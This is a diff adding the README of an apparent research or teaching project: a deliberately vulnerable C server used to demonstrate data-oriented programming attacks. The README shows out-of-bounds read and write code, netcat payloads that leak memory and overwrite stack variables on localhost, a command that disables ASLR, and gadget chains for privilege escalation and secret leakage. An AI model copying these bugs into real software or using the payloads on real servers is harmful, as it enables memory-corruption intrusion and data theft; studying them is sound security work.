|
| 1 | +Minimal Data-Oriented Programming Vulnerable Server + Exploits |
| 2 | +------------------------------------------------------------- |
| 3 | + |
| 4 | +## Description |
| 5 | +This example code is to demonstrate a vulnerable server program with: |
| 6 | +* Memory WRITE safety violation vulnerability |
| 7 | +* Memory READ safety violation vulnerability |
| 8 | +* Turing-complete DOP gadgets |
| 9 | + |
| 10 | +## Prerequisites |
| 11 | + |
| 12 | +* Python 3+ |
| 13 | +* pip |
| 14 | +* GDB with Python support |
| 15 | + |
| 16 | +#### Python Dependencies |
| 17 | +``` |
| 18 | +pip install docopt |
| 19 | +``` |
| 20 | + |
| 21 | +## Build |
| 22 | + |
| 23 | +To disable/enable ASLR: |
| 24 | +``` |
| 25 | +# disable |
| 26 | +$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space |
| 27 | +
|
| 28 | +# enable |
| 29 | +$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space |
| 30 | +``` |
| 31 | + |
| 32 | +To build the `vuln_srv`: |
| 33 | +``` |
| 34 | +$ make |
| 35 | +``` |
| 36 | + |
| 37 | +To build with code coverage metrics run: |
| 38 | +``` |
| 39 | +make -DCODE_COVERAGE=1 |
| 40 | +``` |
| 41 | + |
| 42 | +## Run |
| 43 | + |
| 44 | +### vuln_srv |
| 45 | +``` |
| 46 | +$ ./vuln_srv 1111 |
| 47 | +``` |
| 48 | + |
| 49 | +The server takes commands in the following format: |
| 50 | +``` |
| 51 | +[TYPE][SIZE] |
| 52 | + uint32_t TYPE |
| 53 | + uint32_t SIZE |
| 54 | +``` |
| 55 | +For details on the supported values for `TYPE` refer to `vuln_srv.c`. |
| 56 | + |
| 57 | +### vuln_srv_runner.py |
| 58 | + |
| 59 | +``` |
| 60 | +$ python runner.py --help |
| 61 | +``` |
| 62 | + |
| 63 | +### exploit_runner.py |
| 64 | + |
| 65 | +### Code Coverage |
| 66 | + |
| 67 | +To process code coverage analysis two tools are used: |
| 68 | +* `gcov` (included with `GCC`) |
| 69 | +* `gcovr` http://gcovr.com/ |
| 70 | + |
| 71 | +To generate an HTML report for example consider the following command: |
| 72 | +``` |
| 73 | +gcovr -r . --html --html-details -o coverage.html |
| 74 | +``` |
| 75 | + |
| 76 | +## Vulnerabilities |
| 77 | + |
| 78 | +### Out-of-bounds Read Vulnerability |
| 79 | +``` |
| 80 | +// |
| 81 | +// This function wrongly uses the signed version of `type` and has an integer |
| 82 | +// underflow vulnerability. |
| 83 | +// Vulnerable to an out-of-bounds read memory safety bug. |
| 84 | +// |
| 85 | +int checkForInvalidTypes(int type, int clientfd) { |
| 86 | +{ |
| 87 | + ... |
| 88 | + if (type <= 2) { |
| 89 | + err_no = LUT_ERROR_CODES[type]; |
| 90 | + ... |
| 91 | +} |
| 92 | +``` |
| 93 | + |
| 94 | +#### Arbitrary memory read |
| 95 | +To exploit the memory read vulnerability, we supply a negative value to the |
| 96 | +`TYPE` option. Notice that the content of the memory address (controllable |
| 97 | +offset from `LUT_ERROR_CODES`) is returned as the error code. |
| 98 | + |
| 99 | +We will try offset `-1`. This will give us the memory content of global variable `TYPE_MAX`. |
| 100 | +``` |
| 101 | +$ echo 'ffffffff00000000' | xxd -r -p | nc -v 127.0.0.1 1111 |
| 102 | +``` |
| 103 | + |
| 104 | +This is a powerful primitive, since we can now reveal the secret at `SECRET` at |
| 105 | +offset `-9`. That's not all. If ASLR is enabled, we will need to know the base |
| 106 | +of the program to figure out addresses using offset. We can reveal the base |
| 107 | +address of the program by reveal the global variable `g_srv.p_g_a` which points |
| 108 | +to `&g_a`. |
| 109 | + |
| 110 | +### Out-of-bounds Write Vulnerability |
| 111 | +``` |
| 112 | +// |
| 113 | +// This function assumes that input buffer (`buf`) is RECV_MAX_LEN long. |
| 114 | +// Vulnerable to an out-of-bounds write memory safety bug. |
| 115 | +// |
| 116 | +int readInData(int clientfd, char *buf) |
| 117 | +{ |
| 118 | + ... |
| 119 | + recv_len = recv(clientfd, buffer, RECV_MAX_LEN, 0); |
| 120 | + ... |
| 121 | + memcpy(buf, buffer, recv_len); |
| 122 | + ... |
| 123 | +} |
| 124 | +``` |
| 125 | + |
| 126 | +#### Arbitrary memory write |
| 127 | +We can exploit the memory write vulnerability by supplying a request of length longer than 8 bytes. This allows us to control all the local stack variables `p_srv`, `p_size`, `p_type` and `connect_limit`. |
| 128 | + |
| 129 | +On the client, we will send the exploit request as follows: |
| 130 | +``` |
| 131 | +$ echo --------AAAABBBBCCCCDDDD | nc -v 127.0.0.1 1111 |
| 132 | +``` |
| 133 | + |
| 134 | +On the server, this will crash the program because the memory addresses we supplied in the exploit request cannot be dereferenced. Notice that the value of all the stack variables have been overwritten by our values. |
| 135 | + |
| 136 | +## Exploits |
| 137 | + |
| 138 | +### Privilege escalation |
| 139 | +We use the above arbitrary memory read and write vulnerability together to perform an illegal privilege escalation. |
| 140 | + |
| 141 | +We stitch the DOP gadgets to perform the following DOP "implicit" program. |
| 142 | +``` |
| 143 | +int *base = &g_a |
| 144 | +((g_struct_t *)(base - offset_v_2))->v_2 = *(&buf[4]) |
| 145 | +``` |
| 146 | + |
| 147 | +### Secret Leak / Exfiltrate |
| 148 | +We stitch the DOP gadgets to perform the following DOP "implicit" program. |
| 149 | +``` |
| 150 | +int *base = &g_a |
| 151 | +*(&g_a) = **((g_struct_t *)(base + rel_addr_SECRET - offset_pp_b)->pp_b) |
| 152 | +print(g_a) |
| 153 | +``` |
| 154 | + |
| 155 | +### Gadget Chains |
| 156 | +It is likely that many real-world scenarios require a significant amount of DOP |
| 157 | +gadgets to perform useful work. There are two options we implement to simulate |
| 158 | +the increased memory footprint of real-world attacks. |
| 159 | + |
| 160 | +##### Links |
| 161 | +This option performs a load, increment, store loop as shown in the following: |
| 162 | +``` |
| 163 | +*(&g_scratch_buf[i]) = **(g_pp_g_a); |
| 164 | +*(&g_scratch_buf[i]) += 1; |
| 165 | +**(g_pp_g_a) = *(&g_scratch_buf[i]); |
| 166 | +``` |
| 167 | +This creates essentially creates links between memory addresses and instructions that would not appear under normal execution. |
| 168 | + |
| 169 | +##### Ops |
| 170 | +This option performs an increment on a single memory address as follows: |
| 171 | +``` |
| 172 | +*(&g_a) += 1 |
| 173 | +``` |
0 commit comments